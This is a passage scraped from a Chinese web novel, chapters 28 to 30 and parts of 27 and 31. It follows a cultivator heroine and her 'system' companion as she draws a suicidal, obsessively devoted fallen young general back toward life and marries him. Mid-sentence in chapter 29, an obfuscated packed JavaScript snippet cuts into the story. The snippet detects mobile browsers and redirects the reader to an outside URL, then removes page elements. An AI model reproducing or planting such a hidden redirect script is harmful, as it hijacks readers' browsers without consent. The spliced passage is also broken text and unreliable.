上官慜之摇头,“与你无关。比起半年前初落花楼时满京官宦权贵的拳脚,这十几日还算轻松。” 轻松? 沈盈息沉默。 若真是轻松, 他们再见时,他绝不会用那般阴狠的目光盯着她。 只是正如她所说,上官慜之越疯,他就越有机可乘。 沈盈息忽而想到,上官慜之原是个多骄傲肆意的少年,他最盛名之际,五湖四海都是慜将军的拥趸。 他鲜衣怒马坐镇边疆,追逐过荒漠圆日,厮杀过熊兵虎将,虽然待人处事轻狂,但他毕竟是天下第一的少年将军,再自傲也不为过。 那时上官慜之拥有一切:父母疼宠、天下爱慕、功名富贵。 他总是从容不迫,偶尔也有些淘气,但并不出格。 总的来说,如果上官王府没有起兵入宫,他如今依然会是高高在上的世子爷、少将军。 如今的他,却沉沦于生死之间,时常要以死了残身,当初能冲破云霄的斗志被三十二位亲人的血肉淹没得一点不剩。 亲眼看着自小疼爱自己的父母亲人被凌迟至死—— 沈盈息抓紧了上官慜之的手,嗓音低落:“慜之,你有没有……想过复仇?” 兴许复仇能燃起他生存的意志? 上官慜之的脸色瞬时间虚弱了一瞬,他勉强勾了下唇:“为谁复仇?” 沈盈息有力地反扣住少年冰凉的手指,无形中给予他力量:“给亲人、给自己。” “……”少年漂亮的脸惨笑了下,他垂首道:“上官家谋反之罪确凿,沈息,起兵那夜,是我父王亲自入宫告的秘。” 沈盈息蹙眉,这等辛密,她还不知道。 “沈息,带我去边疆的叔父,他是谋反的主谋,怎么可以呢,他和我父亲自小教导我,要我忠君为民,可是……他们又都瞒着我,整个上官家倾家谋反,我却是唯一一个被置身事外的上官家人。” 上官慜之的脸色越发白得透明,沈盈息几乎觉得他再说下去,就能当场惨死。 她想阻止,但少年忽而温和地看着她,轻声说:“叔父临刑当日,在刑场上怒骂我,他说我是蠢货,是叛徒生的蠢货。” “所有的上官家人,他们说,我再不配是上官家人,他们死后自成一家,我被赶出家门了。” 上官慜之的眼神空洞漠然,他看着沈盈息,那眼里什么都没有,但却还剩了一丝疑惑,“沈息,我没有资格为他们复仇,可我就算有资格,我却还是不想。” 他紧紧盯着沈盈息,像溺水的人抓着水面的稻草,她的回答就是救他的稻草:“你说,我到底是个什么样的人?” “为上官家复仇,我不想。” “继续忠君报国,我不愿。” 他整日像鬼游荡在世间,他的精神和意志已被君和家撕裂成两片。 他找不到完整的身体,日日承受着撕裂的绝望与痛苦。 所以他日日想死。 28. 第 28 章[9月7更] 第28章 他究竟是个什么样的人? 他上官慜之现在,其实就是个想死的废人。 可惜的是,就在身体每况日下之际,上官慜之几以为自己最多再挨几顿毒打,就能成功死掉时,有个沈息不知从哪儿钻了出来。 阴鸷漂亮的少年褪去脆弱情态,眼神阴暗复杂,盯着矮他许多的少女。 沈盈息静静地回望着他。 夜街寂静,对视无声。 良久之后,只听少女带着讽意地轻笑一声:“说这么多,你想从我的回答里听到什么?” 沉默一阵,上官慜之垂眉,“对不起。” 忽然之间像迷雾散开了。 沈盈息歪头看着少年低垂的眉眼,“好,上官慜之是个废物、烂人、叛徒、异类……你就是想从我嘴中听到这些,是么?” 上官慜之抬起头,纤长的眼睫下闪过一丝光色,他缓缓眨了下眼,眼神凝着少女,“倘若你承认……” “我承认,”沈盈息截停了少年的话音,她冷笑道:“我当然承认,你就是这么一个蠢货。” 蠢货—— 上官慜之兀然颤了下身子,少女的声音逐渐远去,耳边忽而响起的却是刑场上三十二位至亲的嘶吼,母亲的啼哭尤其突出—— “蠢货啊,你这个连自己家都不关心的蠢货啊……” 月光下的少年胸膛兀然剧烈地起伏起来,他忽而喘不过气来,窒息如鬼手般掐住了他的脖子。 炽烈的窒息感袭来,宛若有把强硬的剪刀细碎地剪断了他细弱的喉管。 瞬间喉间涌上浓郁的血腥气,喷溅的血液如洪水冲进口中、鼻中、眼中。 上官慜之的世界再次只剩下了熟悉的铁锈味。 他什么都看不见,眼尾猩红,眼前漆黑,他颤着脊背,在那方寸之地间做困兽之斗。 “蠢货慜之!” 血腥弥漫的世界里,有道清润好听又带着气急败坏的女声冲破了哀嚎、辱骂、怒恨,撷裹着湿润和清甜轻盈而至。 唇瓣上湿濡的甜吻慢慢地撤离,上官慜之的眼神缓缓清明,但却也带了一丝干净的茫然。 “你不是要……”少年喑哑的嗓音响起。 沈盈息捧着他的脸,目光缱绻,又带着一丝不明显的哀伤,“是啊,是要差点就放弃你了。” 少女话音一落,就敏锐地感受到手下的柔软脸颊绷了起来。 沈盈息将食指戳了戳少年的脸颊,“可是你看,你也舍不得我,你也很喜欢我。” 上官慜之狼狈地逃出她的手掌,“胡说。” 沈盈息落了空的手掌停在半空中,僵了片刻,她缓缓收回了手。 她安静地看着逃避的少年,不怒不恼:“慜之,我是喜欢胡闹,但对你我还算认真。” “你当然也喜欢我,你想对我认真的,你不要拒绝了。” “没有!”少年兀然阴狠地瞪了她一眼,“你刚才是被我骗了。” 沈盈息忽而笑了,她背手转身,沉吟半晌,又掉回头,对阴狠的少年道:“这话,你能说服得了自己吗?” 上官慜之狠狠闭了闭眼,紧接着昂起下颚,居高临下地望向少女,“我上官慜之行端立正,从不遮掩,倘若有真情,何以要推三阻四。” 趾高气昂的瑞丽少年,诚实又坦然到无所畏惧的模样,让人不由自主地想起他跨坐马上的潇洒模样。 沈盈息看着上官慜之,忽而笑了笑,“慜之,你很可爱。” “什、什么啊?”上官慜之忽而被少女的一句可爱打得褪了假面,阴暗又冷恹的眼神要落不落地看着沈盈息。 沈盈息却话锋突转,她指着不远处隐见灯光的夜市轮廓,轻声道:“上官慜之,我们现在就可以买两身红衣做婚服,补一补三拜之礼。” “……” 上官慜之顺着少女指尖,跟着瞧见了灯色迷蒙的夜市轮廓。 他收回视线,不直接看她,“我不拐弯抹角了,沈息。” “你就此住手,我仍旧做敏心去,你还做你的贵人。” 只是多谢她。 只是对不起。 沈盈息脸色冷下,上官慜之低着头,自然没瞧见。 “上官慜之,你是怎么想的,我心知肚明。”少女冷声道,嗓音褪去了待爱人的绵软后,竟威严得不可忽视,“你看看你现在,就像一条被抽了骨头的野狗,别人给你喂饭吃,你却害怕别人捡你的骨头而反咬一口。” 少年猛地震了一下,他闭起眼,死死咬唇。 沈盈息并不放过他,她步步紧逼,眼神锐利,“当然,死很简单,你借我的刀往脖子上磕一下,一切也就结束了。” “可真的结束了吗?” 少女的声音近在咫尺,她的气息无孔不入,可她没有再伸来柔软温暖的手去抚摸他,即便他强撑着不去乞求拥抱的表情如此明显。 “你忘了吗……”沈盈息盯着少年覆满阴翳的脸孔,望着他眼睫的颤抖和被咬得发白的唇瓣,轻声又幽魅地道:“你就是下了地府,也没有家了。” “别说了!” 少年突然爆发,他蓦然抬头,眉眼通红地打断了少女。 沈盈息却只是看着满面泪痕的他弯起唇,“怎么,允许你几次三番戏弄我,不允许我生气吗?” 少女的笑容随着声落而消失,她冷冷地看着他,眼里凝着复杂又冰冷的情绪。 上官慜之被她眼中的冰冷刺了一下,他咬唇,别过脸去:“我就是这种下贱的人,喜欢我是你倒霉。” 说到这儿,少年眼眸黯淡如灰烬,“你说的对,沈息,我是一只野狗,我下贱,肮脏,活不配活,死也不配死。我就该这样半死不活、行尸走肉地,受所有人的羞辱和难堪……” “那一切可以结束了吗?” 上官慜之黯然的眸子微动,他缓慢地扭过头,看向少女,眼神迷惘,“结束,你说什么?” 沈盈息望着强撑着狠厉却又无意间露出痛苦的少年,叹息一声。 她走上前去,明知他潜意识里在期待她的触摸,但只是漠然地站在他面前,对他道:“伪装、欺骗、三番两次的套话、无休无止的拒绝……上官慜之,你不必这样,你真厌恶我,你现在告诉我,我立刻就走。” 上官慜之艰难地攒动喉结,一阵难言的沉默和难堪旋绕心间,绞得他呼吸困难。 背后的伤原先不痛,此刻却像有人用刀将伤口挑开,一刀刀重新进入肉里,剐得他疼痛难忍,额生冷汗。 他说不出话,他想像前几次一样,嗤笑她,冷斥她,拒绝她。 只是两个字——“厌恶”。 亦或只是点个头,不必出声,他完全可以就这样打发了她。 她届时定会很生气。 沈息一看就是骄傲的人,他像了解自己一样了解她的骄傲。 她前两次都容忍他了,这次却是说什么也不会了。 “……我,” 少年启唇,声音喑哑不堪。 沈盈息望着他,上官慜之总是折磨他自己,他当然说不出厌恶,他却也说服不了自己接受她的喜欢。 曾经自信从容的少年将军,如今已然成了个自卑到令人嫌恶的怪物。 将上官慜之的痛苦挣扎纳入眼底,沈盈息突然明白了他在药铺中的那三声对不起。 “上官慜之,你在怕我吗?”少女抬起黑眸,干净柔润的眼神,比任何一颗夜星都明亮。 在她的对面,是垂下脖颈半陷入黑暗,低着头用黑沉沉的额发遮掩面容的昳丽少年。 上官慜之几近痛苦地呻/吟了半声,少女逼迫他看清自己的心,他却被真相击碎,他从一片残垣里张望,望见的只是她干净又分寸不让的眼睛。 他立马将剩下半声咽进血味弥漫的喉咙里,脸上浮现出一抹湿漉漉的笑。 “求你,走吧……” 沈盈息抿唇。 她原以为在院中,那个拥抱已经说明了很多,她和上官慜之既是两心相悦,缘何在一起就这样困难。 她确信上官慜之也喜欢她。 他那双漂亮的眼睛总能表达出很多。 恰如此刻,他求她离开,眼中的光湮灭浮沉,分明是想要她留下却又不敢。 只是他的脊梁骨被皇权和家族踩碎了,他做不到堂堂正正地对她告白。 他做不到的话……沈盈息浅浅地长叹一口气,救人简单,救一个人的心真累。 面对沉郁阴暗的上官慜之,她若是个普通的凡人少女,怕早被他阴暗粘稠的情绪蚕食殆尽,跟着他滑入自厌的深渊了。 可惜,她修的无情道。 难以共情他人。 “上官慜之,”沈盈息放柔了声音,走上前去,握住少年掐得血肉模糊的手,他要逃,她反手更深地拽住了他,“我们已经是夫妻了。” “你瞧,这个,”沈盈息踮起脚仰头,轻轻地含住少年柔软冰凉的唇瓣几秒,松开后,她垂下眼,望着少年湿润的红唇,低声道:“这只有夫妻才能做,我们这样做了几次?” 上官慜之颤抖地放低眼睫,颤声道:“五次。” “乖,”少女又浅浅地从他唇上抿过,而后抚着他的下颚,道:“相濡以沫,就是夫妻。” 而后,沈盈息将少年的眼睛抬起看着她的,对视之间,少年清楚地看见了她满眼爱怜和心疼。 那让他也心疼,那让他也爱怜。 上官慜之被她这样看着,忽而不可抑制地颤起全身。 这样几近崩溃的模样和他被绑上刑场,三十二位至亲的血肉落到眼皮上的情景一致。 可他此时更难堪,他顶着心爱姑娘的视线,他感到自己重新有了自尊。 沈盈息搂住少年劲瘦的腰身,柔软温热的手掌一下下拍着他颤抖不已的、恐惧又挣扎的身体,她轻而又轻地道:“没关系慜之,一切都过去了。我喜欢你,你荣耀时我喜欢,你落魄时我亦喜欢,别怕,别怕……” 在轻柔的抚慰声中,上官慜之恍惚间像回到了儿 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他什么都没做,一息之间,却失去了亲人和亲情,失去了地位和荣誉,失去了所有交往和友善。 “别怕、别怕……” 少女轻柔温软的安慰,如一剂清心药般洗涤去了眼前的血腥黑暗。 少年大梦初醒,感受到怀中的温热鲜活,深深地将脸埋入少女颈间,冰凉的泪水很快淌湿了少女的衣领。 沈盈息感受到一阵难以呼吸,上官慜之抱她抱得太紧了,他背上伤口沁出的血和快浸湿衣衫了却也不管不顾,只一味抱着她。 “慜之,一切过去了。” 少年先是安静地哭着,在她一次又一次的安抚下,却终忍不住轻声地哭了出来。 沈盈息忽而好笑地,戳了戳他的腰,“乖慜之,你哭得好像一只被踢的落水狗。” 上官慜之哭得更为放肆,更甚而哭着就胡乱亲了她一口。 沈盈息明白这人现在脆弱又缺乏安全感,便任他回亲。 他是在作乱和探索,初时动作有些用力和粗鲁,可渐渐熟练之后,又甚是温柔起来,他舔了舔落到她唇角的泪水,捧起她的脸,额头抵着她的,嗓音闷闷地带着哭音:“你怎么这么喜欢我,你怎么能这么喜欢我?” 沈盈息笑了笑,“我们差不多浪费了一整天,只是在问为什么。” 她拉起他的手贴上心口,“每次见到你,心都会跳得很快,你如果不相信我说的,那么请相信你感受到的。” 少年白得半透明的脸泛起一丝红晕,他的心也鼓跳如雷,比掌心所感受到的心跳还要剧烈失控。 “好了,我相信了!” 他遽然收回手,忽地又顿了顿,盯着少女道:“沈息,我想活。” 沈盈息愣了下,她握住上官慜之的手,“那真是再好不过,你不是因为纪大夫才……” 上官慜之抿唇,“我那是为死而活。” “那现在呢?” “为你而活。” 其实怎么爱一个人,沈盈息也不懂。 只是在看见上官慜之原先由颓败阴暗、满口谎话的少年,变成现在能直视她的眼睛,承诺为她而活的正常人。 她怔然片刻,继而笑了。 果然,爱人像练剑,只要坚持,其实不难。 而因她的坚持,上官慜之这般死志坚决的人也能面对恐惧、重塑自尊,沈盈息抚了抚少年柔嫩的脸颊,眼神温和。 “行了,我们去逛夜市吧。” 少年挽起少女的手,轻声:“听你的。” “咦,只不过我还是想问,你在药铺里分明也主动抱住了我,为何出来不多久又……?” 上官慜之抿唇,但不再遮掩,“我第一次对旁人说他们。” 沈盈息了然。 像上官慜之这样惨烈的过去,一旦主动谈及便是他交心的开始。 虽然过程有些不愉快,但结果总归是好的,沈盈息握紧少年的手,“做得好,夫妻之间本就该坦诚相待。经历此事,你的心结也会慢慢解开的。” 上官慜之忍不住低眉,专注地望着少女坚信的面孔,“嗯,只要你在,我就能活。” 沈盈息忽而打了个寒噤,上官慜之这话听着很好听,但似乎……太言重了。 她是注定成为他亡妻的人物,沈盈息欲盖弥彰,用力点头,“嗯,只要我们夫妻同心。” 不,只要她在。 少年却没多说,他只专诚地望着沈盈息。 她在他落魄低贱时爱他,他会报答她,用他的自尊和生命。 她是他自尊和生命的根系,她在,他就活。 “……我们还是先去购置婚服吧。” 上官慜之尾指勾缠住少女的无名指,轻声:“好,听你的。” 是夜,一夜红烛,光影迷离。 29. 第 29 章[9月8更] 第29章 红烛高照,桌上一应摆着婚庆嫁娶该有的物什:双喜剪纸、妆黛胭脂、喜服二套…… 沈盈息捉着上官慜之的手,与他共持一盏红烛,好奇地望着桌上的花样。 他们两个少年,头一次成婚,又没有家中人把看着,完全自给自足,一时心中异样。 这处宅子是沈家在京城的家产之一,很小,甚而没有沈盈息的院子大,但五脏俱全,此刻做个小小婚房已足够了。 “我们先穿喜服吧?” 沈盈息扭头,看着烛光下的上官慜之,眼神期待。 上官慜之的眼神从桌上移回,他望着少女的黑眸,抿唇,“沈息,你会后悔吗?” 少年目光专注又宁静,带着空前的认真。 往日阴郁黑暗的眸子褪去颓败,焕发出一腔生机来。 即便他如今一无所有、甚而伤痕累累,仍因这一点生机而耀眼得不可思议。 沈盈息望着红烛下愈发容颜绝世的少年郎,弯了弯眸,“我要先听听你的回答。” 和她前两次笃定不后悔的回答不同,这次,她更想从他的口中听到答案。 上官慜之漂亮的长眸弯了下,“沈息,你说过你不后悔,所以没有退路了。我会奉出我的性命,消灭勾起你悔意的任何可能。” 他回答的口吻同样坚定,带着不顾一切的决然。 这和他此前凶狠阴鸷地拒绝她靠近的模样简直大相径庭。 望着少年专诚又坚定的眼神,沈盈息模糊间想起成年体的上官慜之。 姿色昳丽的青年,墨发玉面,双眸含笑,唇边噙着勾人的笑,身姿清越。 成年后的他,更像一条艳丽的毒蛇,还是剧毒的那种,无情冷血但动人。 而少年的上官慜之,还有认真和落泪的时候,再过几年,这样的时候就再不能见了。 沈盈息抚上少年的面庞,后者立刻依恋地将脸颊蹭了蹭她的掌心,只是做着这样亲密柔软的动作,那双黑沉的眼睛却始终一动不动地盯着少女。 沈盈息动作一滞,有种被毒蛇盯上的错觉。 “慜之,我到死,都不会离开你的。”她笑了笑,错开话题,“我们还是先穿喜服吧,一定很好看。” 少年一把按住要从脸上退去的葱尖,迎着少女疑惑的眼神,他捉着她的手抵至唇间,垂眼珍重地吻了吻她的指尖。 “沈息,你弄错了,是我至死……不会离开你的。” 随着上官慜之的一个吻,指尖登时漫起一阵酥麻的痒意,沈盈息蜷了蜷指尖,没有立时收回手,而用另一只手摸了下少年低下的头,“乖慜之,我们大婚之夜就不要说这些了,先穿婚服。” 少年从乌黑的额发后抬起眼,定定地看了沈盈息一秒,蓦然笑开了,“好,当然听你的。” 沈盈息抽回手,转身将桌上的喜服塞向少年怀中,她抱着自己的那套,朝屏风后走,“我们各自换好后再见。” 上官慜之很是乖顺地嗯了一声,双手抱着喜服目视她的身影在屏风后消失。 少女换衣裳的窸窣声从里间响起,少年跟着换了喜服后,便一直定定地望着那屏风后影影绰绰的影子。 很难叫人说清他眼里的情绪算什么。 不像绮念,更不似欲念。 而是更复杂的、令人不敢直视的某种厚重至极的感情。 沈盈息换好喜服,一身红衣地走出屏风时,便见到上官慜之的眼睛亮了起来,那眼里翻涌着的情绪看得她心头一跳。 她第一眼看过去,像是从上官慜之的眼神里看出一个疯子。 但是再眨眼,却发现那疯子很快消失,少年眼眸晶亮,又像个复活成功的人偶,望着赋予他生命的主人。 沈盈息下意识撇过眼,她被上官慜之眼里的情绪压得有些喘不过气。 即便是她这种修了几百年的无情道修士,都能从他身上感受到那种厚而无形的复杂情意,他自身居然还没被这种浓厚的无形之物压得粉身碎骨,简直是奇迹。 但在此之前,上官慜之从未如此直观地对她展示出这令人生惧的模样。 只是今夜成婚,放下心防,故而如此吗? …… 上官慜之张开手臂,大红的宽袖垂下,袖角精致繁复的勾线在烛火中折射着细小的光芒。 精致漂亮的少年两眼弯弯,展臂对着不远处的少女,宛若没看见她最初回避他的视线一般,笑道:“沈息,这身喜服很合适,你挑得真好。” 沈盈息紧了紧垂在腿侧的双手,将心头那丝怪异纳入心底,她方抬起眼,自然地看着少年,也笑道:“嗯,好看,你瞧瞧我的。” 上官慜之的眼神一经落到她身上,就不可抑制地放柔放软,他放下手臂,走上前去,低头看着沈盈息,低语轻轻:“真好,没被我吓跑,真好。” 他伸出手,指尖已探出袖口了,却只触及了沈盈息的衣角,而后便不动了。 他是想碰她,想抱她,想不顾一切地将她融进骨血里。 但他反复确认可不可以,最终还是怕触碎一汪镜花水月似地,不敢近前,只是用眼神一遍遍抚摸着少女的容颜。 上官慜之的眼神如有实质,比他的触碰更令人生怵。 沈盈息皱眉笑了下,“你又说怪话了,慜之。” 她抓住少年的手,那双冰冷宽阔的手瞬时在她手间颤了下,而后深深地缠了上来,修长的指骨密不透风地扣满了她的指缝。 沈盈息不动声色,继续牵着上官慜之往桌边走去,而后倒了两杯酒,她取了一只酒杯,用眼神示意上官慜之拿起剩下的一只。 少年捏住樽耳,遵照少女的吩咐和她交叉着手臂饮下这杯正式的合卺酒。 合卺酒合卺酒,祝愿你我天长且地久。 喝下合卺酒,沈盈息想起要拜拜堂礼。 只是她无父母,上官慜之也没有。 他们一拜了天地,而后便直接夫妻对拜。 躬身对拜之间,沈盈息和上官慜之共牵一条红绸,从红绸另一端紧紧攥着的力度里,她能隐约感受到少年身上古怪的虔诚。 他一板一眼地垂首低头,直至起身,还陷在那种礼仪完成后的满足之中。 沈盈息默然了一瞬,上官慜之忽而两眸潋滟地看向她,“沈息,天地为证,你我永不分离。” 或许只是孤寂太久了…… 沈盈息牵着红绸走近少年,抬眸对他笑道:“嗯,除非死亡让你我分离。” “不对,”少年平静地反驳了她。 沈盈息一愣。 上官慜之望着她疑惑的眼神,缠着红绸的大手慢慢抚上她的鬓发,他垂着眼皮,眼神温柔而平静,“就是死,我们也分开不了。” “你若死在我身前,碧落黄泉,我一定找到你。”少年的声音再次放柔,在寂静的夜里竟然显得几分诡谲,“我若先死,化作幽魂厉鬼,我也会陪着你。” “你知道的,沈息,”上官慜之冰凉的吻落在少女眼角,他又冷又软的唇瓣轻轻压着她的眼尾,轻声如水:“我是众叛亲离的孤魂,只有你喜欢我,没了你,我怎么活得下去……” 沈盈息扶住少年双肩,她下意识驳斥道:“你不是还活着呢,好好的成亲被你说得阴气森森的,可别再说了。” 上官慜之不说,他盯着她安静地微笑。 沈盈息被他笑得心底怪异又冒火,她捏住少年的脸颊,没好气地道:“行了行了,怕了你,你爱这么想就这么想好了,我不管了。” 总之她死后,上官慜之不会真的跟着她一起死。 应该不会……沈盈息望着少年看似波澜不惊又好似幽深如潭的黑眸,隐隐地从心底冒出一丝不确定。 “你喜欢我吗,慜之?”她迟疑地看着少年问道。 上官慜之似乎等着她的这个问题许久了,她的话音将落,就见少年漆黑的瞳孔都放大了些许,握住她的手,一声叠一声:“喜欢、喜欢、我一开始就……” 痴狂的少年倏然间褪去令人不安的神色,似乎看见了少女眼中的愕然和退缩,转瞬间换了一副让人亲近的、独属于少年的羞赧和柔和。 “我喜欢你,沈息。” 他终于能打破心中坚冰对她告白。 沈盈息颇受感动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503303|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥住少年,同时在识海内轻唤系统:“上官慜之的情窍算是开了吗?” 许久不出现的系统颇有怨念地钻出识海,望着拥抱中的两人,狼崽子背毛炸起。 他对上官慜之敌意很重,但回答沈盈息的问题时很乖顺:“开了呀,仙君宝宝好厉害奥,我看这上官慜之也是不堪一击嘛。” 沈盈息将心中挥之不去的怪异道了出来:“可是,慜之这样……似乎不太正常。” 狼崽子在半空中冲刺着给了上官慜之一脚,它翻腾着滚回少女眼前,“疯子再疯都是正常的,放心吧仙君宝宝,时间一到咱死遁了就万事大吉了。” 沈盈息若有所思。 系统紧接着又咳了一声,它假装不经意地说道:“不过仙君宝宝,咱们非工作时间就不称工作称呼了奥。” “嗯?”她颇有些不明所以。 系统前爪捂着狼吻,小声提醒:“那个慜、慜啥的啊,我们两对话的时候你就别叫这么亲密了吧……” 沈盈息默然片刻,实在想不出这有什么可提醒的。 不过这总是无关紧要的,她也就没反驳,“可以。” 狼崽子立马欢呼地放下前爪,它欺近沈盈息,狼吻不住地贴着少女脸颊,雀跃道:“但是仙君宝宝可以用亲近点的称呼叫我,毕竟我们两才是真正的朋友嘛。” 沈盈息不置可否,“你希望我唤你什么呢?” 系统忽而扭捏起来,它左爪搭着右爪,羞答答地眨眼,“天道给我编号527,虽然这个世界只有我这一个系统,不过我还是欢迎仙君宝宝叫我、叫我……” 沈盈息做了决策:“二七好了。” 狼崽子啊了一声,“这么随便啊……” “阿七,”沈盈息觉着上官慜之似乎察觉到了她的一心二用,揽在她腰间的手正在不自觉地收紧,她不由敛下温和,颇为严肃地对系统道:“行了阿七,我还在工作,你赶快回识海。” 狼崽子哼唧一声,“阿七就阿七。” 说罢,带着一点诡异的满足消失了。 “茶水时间”结束,沈盈息安抚性地抱紧了被她冷落的少年,感受到上官慜之渐渐放松的身体后,她跟着松了口气。 自他们二人互诉衷肠后,上官慜之便愈发敏感了。 很难解释他是天生如此,还是后天惨剧的遗症。 这三个月一过,也不知这病是加重还是能治愈。 沈盈息拍了拍少年的脊背,抚了抚上官慜之肌肉结实的后背,不由感叹了声:“慜之,你身体锻炼得不错。” 应该能活挺久的。 能挺到灵根觉醒的那一日。 少年沉默了一会儿,“嗯。” 沈盈息抬首,望见什么,笑着捏了捏少年发红的耳根,“至于的吗?一点点夸奖都不好意思啦?怎么和……” ——纪老板一样。 少女后知后觉地停下,她转而亲了下上官慜之的脸颊,成功转换了话题,引得少年暗沉的眸暗了又亮,眼中光色惑人。 沈盈息瞧着心喜,有种把将死的花重新养活的成就感。 她喜爱地啄了啄少年抿紧的唇瓣,将自己的体温渡给他,让他那具常年冰凉的身子也跟着暖和起来。 事情就是这样发展起来的。 少年抱着她,带着那段二人共同牵过的红绸,红烛高照,烛芯哔哔啵啵地烧得热烈。 他近乎疯狂地讨好她,那样倾覆一切的喜欢让沈盈息险些承受不住。 眼角洇出红晕,手推阻着少年,触了一指尖的鲜血方又惊了下,想起他一身的伤。 再难以承接之际,只是无措地伸出推却的手,却不知放在哪儿。 上官慜之将一切纳入眼底,胸膛深处溢出一道低笑,他自此便狡猾起来,用受伤的地方迎合她拒绝的指尖,让她哭笑不得地后退,再低声斥他:“上官慜之,你又发疯了不成!” 他弯起眉眼,舔舐干净她指尖的血,将红绸轻轻覆上她的眼,低语缠绵:“息息也喜欢的吧,息息也很喜欢我的,息息明明这样喜欢……” 沈盈息带着鼻音骂他:“你真是疯了。” 30. 第 30 章 第30章 正是午间,阳光白耀,树影斑驳。 沈盈息拥被侧身,恍惚间听到一声低笑。 迷惘睁眼,眼前便覆上了一层阴翳。 一阵干净暖香包围住了她,是独属于上官慜之身上的味道。 少年俯下身,拥着她的肩吻了吻她的唇角,“息息,天亮了。” “唔,慜之,”沈盈息仍闭着眼,翻了个身平躺在床上,少女的脸雪白而莹润,一口红唇微启,出声微沙:“你什么时候醒的?” 上官慜之撑着臂,垂头看着拥被假寐的少女,“没睡,一直等着你醒呢。” 闻言,沈盈息愣了一秒,反应过来后立刻清醒了。 她歪过脸,惊诧地望着上方的少年:“你、你不累?” “一点也不,”少年望着他貌美善良的妻,黑眸微弯,俯身微笑,在那双瞪圆了的吃惊双眸上落了一吻。 “饿了吗?我买了饭。” 沈盈息撑起身子,发了下呆,而后扭过脸,对上少年笑吟吟的面孔。 一觉醒来有如此美色在侧,着实令人心悦。 只是想到这美人体力惊人、一夜未睡仍旧精力充沛,沈盈息心下迟疑,紧接着伸出手,扯了下上官慜之的笑脸。 脸颊很软,也依旧很冷。 少女顿了下,道:“上官慜之,你这不是回光返照吧?” 上官慜之勾起唇,耸了耸肩,“也许是呢,息息这下真是亏了。” “呸,”沈盈息立刻将一颗心放回肚子里,无声地撇了撇嘴,她扭头寻外裳。 “喏,”一只劲瘦的手腕探过来,宽大的手掌上躺着一方锦衣,叠得方正整齐,正是她的外裳。 “咦,我还以为你也衣来伸手呢,”沈盈息摸了摸少年掌上的衣裳,真是叠得很整齐,平整得像熨过一般。 上官慜之趁着她惊奇摸衣裳,搓了把少女矮下的头,刚起床她的头发有些蓬,被他搓了一把便立刻炸了起来。 沈盈息“啪”地一声拍来他作乱的手,抬脸有些瞪眼,“动手动脚的,你没有事干,就把旁的衣裳也叠好了去。” 上官慜之手背被打了一巴掌,将被打红的手背放到唇下,吮了吮上面的红痕。 将唇瓣贴着手背,他挑起眼,笑眼从下至上看着炸毛的少女,“息姑娘的命令自然误不了,只是哪有长工只干活不吃饭的。息姑娘要我这个长工做事之前,是不是也该给点奖励?” 沈盈息掀开被褥,穿着单薄里衣坐至床沿,闻言觑了眼少年。 他目不转睛地望着她,眼神里隐隐透出侵略性,表情是镇定地、带笑的,可在镇定的表象下,那通红的耳朵怎么也遮掩不住。 昨夜红烛尽灭,只能感受到对方湿濡有力的手掌,控制着又托举着她,力气跟用不完一样。 本以为黑暗里,少年的表情也是跟他的动作一样失控。 却原来是一边失控一边害羞的。 沈盈息又好笑又好气,拿起外裳穿好,回复少年的口吻还些凶,但到底带着点笑意了:“你就等着吧,长、工。” 说罢,头也不回,往梳妆台走去。 身后的少年讨奖赏不得,笑着把双臂往后一撑,视线跟随着少女的一举一动。 他微微偏头,发带高束的马尾滑落颈侧,净白漂亮的脸庞焕着笑意,暖融融的笑,衬得少年生机勃勃。 沈府的每处宅子都备着沈盈息的黛粉胭脂,朱钗玉簪更是一应俱全。 她抽出妆奁,拿出木梳,正歪头拢住一头乌发,便听到身后的少年走近。 “我来。” 上官慜之从她手里接过梳子,一手拢住她的头发,一手用木梳轻柔地梳理她的乌发。 少年修长的手指穿梭于秀发之间,动作细致柔和,一缕缕的秀发如流水般从指缝间留下,馥郁的发香从指尖蔓延。 沈盈息从镜中看着上官慜之,他垂眉为她梳发的神情极其温柔,半垂的长眸里柔情潋滟,宛若春水。 窗外树影随风摇晃,雀鸟欢鸣,盛烈的阳光渐渐柔和。 光明而安静的室内,只剩下少年夫妻彼此陪伴的声音。 上官慜之的动作太轻柔,舒服得简直让沈盈息发困,她闭起眼,道:“慜之,你绾好发再唤我。” 少年嗯了声,屈起手指蹭了蹭少女脸颊,示意她安心。 沈盈息于是安心小憩。 时间如水,沈盈息浸在这流动而静谧的水中,渐渐不知外间事。 待醒来,脸侧扶着一只手,眉上还生着细细痒意。 睁眼一看,原来上官慜之从妆奁里拿出了眉黛,正扶着她的脸为她描眉。 沈盈息蹭了下脸上的掌心,而后坐直了身子,望着镜中的自己。 没想到上官慜之还有一双巧手,给她绾的发清丽又出挑。 “息息真好看,”少年放下眉黛,但依旧维持着半蹲的动作,双手撑着木椅扶手, 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沈盈息摇了摇头,正要起身,却忽而被少年捧住脸颊,还没来得及讲话,上官慜之几个连续的吻就落到了唇上。 她的口脂也就分了一半给他。 少年亲了她几口心满意足,直起身勾着红艳艳的薄唇,逆光望着少女,笑了起来:“真好,这世上还有你喜欢我,还有你在。” 上官慜之笑着笑着,手指勾起沈盈息的手,突然把她拉着站起来。 沈盈息倏然站起,身形不稳,一双长臂很快拥住了她,稳住了她的身形。 少年的胸膛宽阔而结实,沈盈息甫一被拉入他的怀抱,就嗅到了他身上独特的暖香。 “真怪,”她对此早有疑惑,此刻终于忍不住,抬起头望着少年,问道:“你摸着这样冷冰冰的,怎么闻起来却是暖的?” 上官慜之将她的手紧紧地贴向自己的脸颊,他歪了歪头,将冰凉的脸颊贴紧少女温热的掌心,闭眸间喉中低笑,“就是怪了,够怪,息息就记得我越久点。” 沈盈息觉得上官慜之这话有歧义。 她也不是什么善忘的主,如何能记不住他。 只不过他有一点是正确的,“上官慜之,你确实令人印象深刻。” 上官慜之微微笑,垂下的眼睫里闪过一丝幽暗,“这就对了,我就是希望息息一辈子记着我。” “无论是生,还是死。” 31. 第 31 